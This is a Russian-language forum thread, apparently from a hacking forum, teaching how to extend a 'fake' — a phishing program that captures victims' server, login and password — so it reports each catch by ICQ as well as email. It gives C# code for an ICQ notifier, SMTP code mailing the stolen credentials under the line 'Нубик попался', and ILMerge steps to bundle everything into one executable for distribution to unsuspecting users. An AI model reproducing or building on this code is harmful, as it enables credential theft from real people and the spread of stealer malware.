В данном гайде речь пойдет о добавлении такой возможности, как отправка сообщения в icq.
Для чего нам это?
1. Можно сразу данные жертвы отправлять по ICQ
2. Можно использовать просто как пейджер, при сигнале которого, мы будем знать, что очередная жертва попалась
Краткая предыстория:
ICQ - это сложная система, .NET Framework не имеет собственных классов для работы с протоколом OSCAR.
Соответственно, есть 2 варианта:
Напишем сами
Будем использовать уже чье-то готовое
Первый вариант мы отметаем сразу, потому что на это уйдет очень много времени и уровень сложности этого задания очень высок.
Второй вариант нам подходит вполне, после поиска в моем любимом google.com я наткнулся на пару вариантов и остановился на [Ссылки могут видеть только зарегистрированные пользователи. ].
Проект NOscar уже старый и не поддерживается, но до сих пор рабочий и спокойно выполняет необходимые для нас функции: подключение, отправка сообщения, отключение.
Саму библиотеку вам необходимо скачать из атача данного поста.
Версия, которую я выкладываю не совсем оригинальная, мной было внесено пару изменений, чтобы можно было отправлять сообщения на русском языке.
Приступаем к делу:
Добавим в наш проект библиотеку NOscar.
Для этого, в обозревателе проекта, по элементу "Ссылки" (Reference) нажмем правой кнопкой -> "Добавить ссылку" (Add Reference).
Перед нам появится окно, переключаемся на 4ую вкладку, "Обзор" (Browse) и указываем путь к библиотеке.
После этого, NOscar появится у нас в списке ссылок в обозревателе проекта.
[Ссылки могут видеть только зарегистрированные пользователи. ]
Сама библиотека имеет свой неймспейс, а именно "Grunwald.NOscar"
Для простоты использования вами, я написал готовый класс, через который вы все просто сможете сделать.
Код:
using System;
using Grunwald.NOscar;
namespace ICQTest
{
public class ICQNotifier
{
private AutomaticConnection connection;
public AutomaticConnection Connection { get { return connection; } }
public void Connect(string uin, string pwd, string server)
{
if (connection != null) connection.Close();
connection = new AutomaticConnection(server, FlapConnection.DefaultPort, uin, pwd);
connection.Start(new System.Threading.ThreadExceptionEventHandler(ErrorHandler));
}
public void Disconnect()
{
if (connection != null) connection.Close();
}
public void Send(string uin, string message)
{
message = message.Trim();
if (!String.IsNullOrEmpty(message))
{
TlvChain data = new TlvChain();
MessageBlock block = new MessageBlock(message);
data.SetData(0x0002, block.ToByteArray());
data.SetFlag(0x0003);
OutgoingIcbmSnac snac = new OutgoingIcbmSnac(1, uin, data);
Random rnd = new Random();
rnd.NextBytes(snac.IcbmID);
SendSnacSequence.SendSnac(connection, snac,
new EventHandler(delegate { }),
new SnacEventHandler(delegate { }));
}
}
private void ErrorHandler(object sender, System.Threading.ThreadExceptionEventArgs e)
{
//MessageBox.Show(e.Exception.ToString(), "Internal error!!");
}
}
}
Для того, чтобы добавить этот класс вам необходимо:
Правой кнопкой по проекту -> Добавить -> Класс
Название файла вы можете выбрать любое, у меня это: "ICQNotifier.cs".
Содержимое только что созданного файла замените на код представленный выше.
Примечание: в коде представленном выше используется неймспейс ICQTest, можно оставить его или же заменить на тот, который используется у вас в проекте.
Теперь нам осталось только добавить отправку сообщений
Откроем наш основной класс, если неймспейс класса описанного выше мы не меняли, тогда в коде нашего класса, добавим использование именного пространства:
Код:
using ICQTest;
Так же нам понадобится другой неймспейс
Код:
using System.Threading;
Данное именное пространство дает доступ нам к классам отвечающим за потоки и все что с ними связано.
Теперь, в метод, который у нас отвечает за отправку письма на Email мы просто добавим вызов метода BeginInforming.
Код:
BeginInforming();
После удачного теста:
Мы на руках имеем наш фейк, который отправляет сообщения по ICQ и еще что-то делает (Все зависит от вашей фантазии)
Но есть один довольно не хороший момент, теперь рядом с нашим ехе всегда должна находится библиотека NOscar иначе фейк работать не будет.
Можно конечно поставлять нубикам ехе и библиотеку сразу и убеждать их лишний раз.
Но можно и поступить иначе.
Есть такая замечательная утилита как: [Ссылки могут видеть только зарегистрированные пользователи. ].
Скачиваем её, устанавливаем и готовимся творить чудо
Путь установки я не менял и позволит произвести её установку в: "C:\Program Files\Microsoft\ILMerge".
Теперь берем 2 наших файла: "наш фейк.ехе" и NOscar.dll и кладем их в папку с ILMerge.exe.
Теперь нам нужно запустить ILMerge.exe вот так:
Код:
ILMerge.exe /target:winexe /out:"название нового файла".exe "наш фейк".exe NOscar.dll
Тоесть, мы указываем тип приложения Windows Executable, выходной файл: например: fake_new.exe, вместо "наш фейк".ехе указываем название нашего фейка(исполняемого файла) и указываем библиотеку, которую мы склеим с нашим ехе.
После завершения выполнения утилиты мы получим 1 файл, который мы сможем распространять как нам угодно. Библиотека рядом с ехе нам уже не нужна, она вшита в него.
Примечание: Утилита ILMerge может склеивать только исполняемые файлы и библиотеки написанные исключительно на .NET Framework.
________________ Fireball - Быстрое снятие и загрузка скриншотов на хостинг.
Последний раз редактировалось Kitsune; 24.07.2010 в 08:26.
А нельзя ли сделать как-нибудь с событиями. Ставить задержку на 5 секунд, хоть и работает, но все-таки некорректно. Есть еще библиотека OscarLib, в которой все боле-менее работает, но к ней толком нет документации.
Может кому-нибудь пригодится:
Код:
void sess_LoginCompleted(Session sess)
{
sess.Messages.SendMessage(UIN, ""); //здесь я не совсем понимаю, так как этот метод возвращает куки, поэтому надо отправить два раза, или найти умный способ.
sess.Messages.SendMessage(UIN, "Hello World!");
}
private void Login(object uin)
{
Uin u = (Uin)uin;
sess = new Session(u.uin, u.pass);
sess.LoginCompleted += new LoginCompletedHandler(sess_LoginCompleted);
sess.LoginFailed += new LoginFailedHandler(sess_LoginFailed);
sess.ClientCapabilities = Capabilities.SIMKopete | Capabilities.UTF8;
sess.Logon("login.icq.com", 5190);
sess.ActivateBuddyList();
sess.Statuses.ICQStatus = ICQStatus.Online;
}
witcherD, основное время/трафик уходит на загрузку контакт листа. Для фейка будет создан новый уин с пустым контакт листом, поэтому время подключения будет минимальным.
В данной библиотеке не реализован ивент вызываемый при заверешнии подключения.
Так же хочу заменить, что это простой вариант для простого фейка и углублятся в изучение протокола OSCAR думаю нет желания ни у кого из присутствующих.
Если уж и есть желание заморочится, то можно мониторить SNAC от сервера сообщающий об окончании загрузки контакт листа и вызывать кастом ивент.
added:
Завтра днем выложу обновленный вариант, без принудительной задержки.
________________ Fireball - Быстрое снятие и загрузка скриншотов на хостинг.
Последний раз редактировалось Kitsune; 23.07.2010 в 23:58.
Спасибо за ответ, но вопрос заключался в другом. "В данной библиотеке не реализован ивент вызываемый при заверешнии подключения." а событие успешного подключения или входящего сообщения? Думаю это не менее интересно и нужно, не могли бы Вы показать это на примере?
witcherD, в первом сообщении код обновил, ниже приведен список изменений.
Прочитав их вы сразу можете заметить обработку события StateChanged у Connection, на основе этого можно придать гибкости нашим проектам
Сейчас реализовано отправление сообщения сразу после окончания подключения.
Обновление кода:
В ICQNotifier.cs добавилось свойство
Код:
public AutomaticConnection Connection { get { return connection; } }
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;
using Рейты_v1._0;
using System.Threading;
namespace Рейты_v1._0
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private Thread thread;
private ICQNotifier icq;
Gold-90, в твоем случае не вызывается функция Send
И еще мне интерестно, у кого получилось отправить сообщение по данному уроку?
лично у меня не вышло, т.к. соединение у меня имело значение Connecting, а не Active...
Это получается я должен удалить тот кусок который отвечает за отправку на почту и вставить выше написаный?
Код:
SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); // Здесь указываем смтп сервер и порт, который мы будем использовать
client.Credentials = new System.Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные пользователи. ]", "password"); // Указываем логин и пароль для авторизации
string msgFrom = "[Ссылки могут видеть только зарегистрированные пользователи. ]"; // Указываем поле, от кого письмо
string msgTo = "[Ссылки могут видеть только зарегистрированные пользователи. ]"; // Указываем поле, кому письмо будет отправлено
string msgSubject = "Письмо из c#"; // Указываем тему пиьсма
string msgBody = String.Format("Нубик попался :-)\n\nСервер: {0}\nЛогин: {1}\nПароль: {2}",
comboBox1.SelectedItem.ToString(), textBox1.Text, textBox2.Text); // Тут мы формируем тело письма, передаем выбранный сервер, логин и пароль.
MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody); // Создаем письмо, из всего, что сделали выше
try
{
client.Send(msg); // Отправляем письмо
}
catch { }
Это получается я должен удалить тот кусок который отвечает за отправку на почту и вставить выше написаный?
Код:
SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); // Здесь указываем смтп сервер и порт, который мы будем использовать
client.Credentials = new System.Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные пользователи. ]", "password"); // Указываем логин и пароль для авторизации
string msgFrom = "[Ссылки могут видеть только зарегистрированные пользователи. ]"; // Указываем поле, от кого письмо
string msgTo = "[Ссылки могут видеть только зарегистрированные пользователи. ]"; // Указываем поле, кому письмо будет отправлено
string msgSubject = "Письмо из c#"; // Указываем тему пиьсма
string msgBody = String.Format("Нубик попался :-)\n\nСервер: {0}\nЛогин: {1}\nПароль: {2}",
comboBox1.SelectedItem.ToString(), textBox1.Text, textBox2.Text); // Тут мы формируем тело письма, передаем выбранный сервер, логин и пароль.
MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody); // Создаем письмо, из всего, что сделали выше
try
{
client.Send(msg); // Отправляем письмо
}
catch { }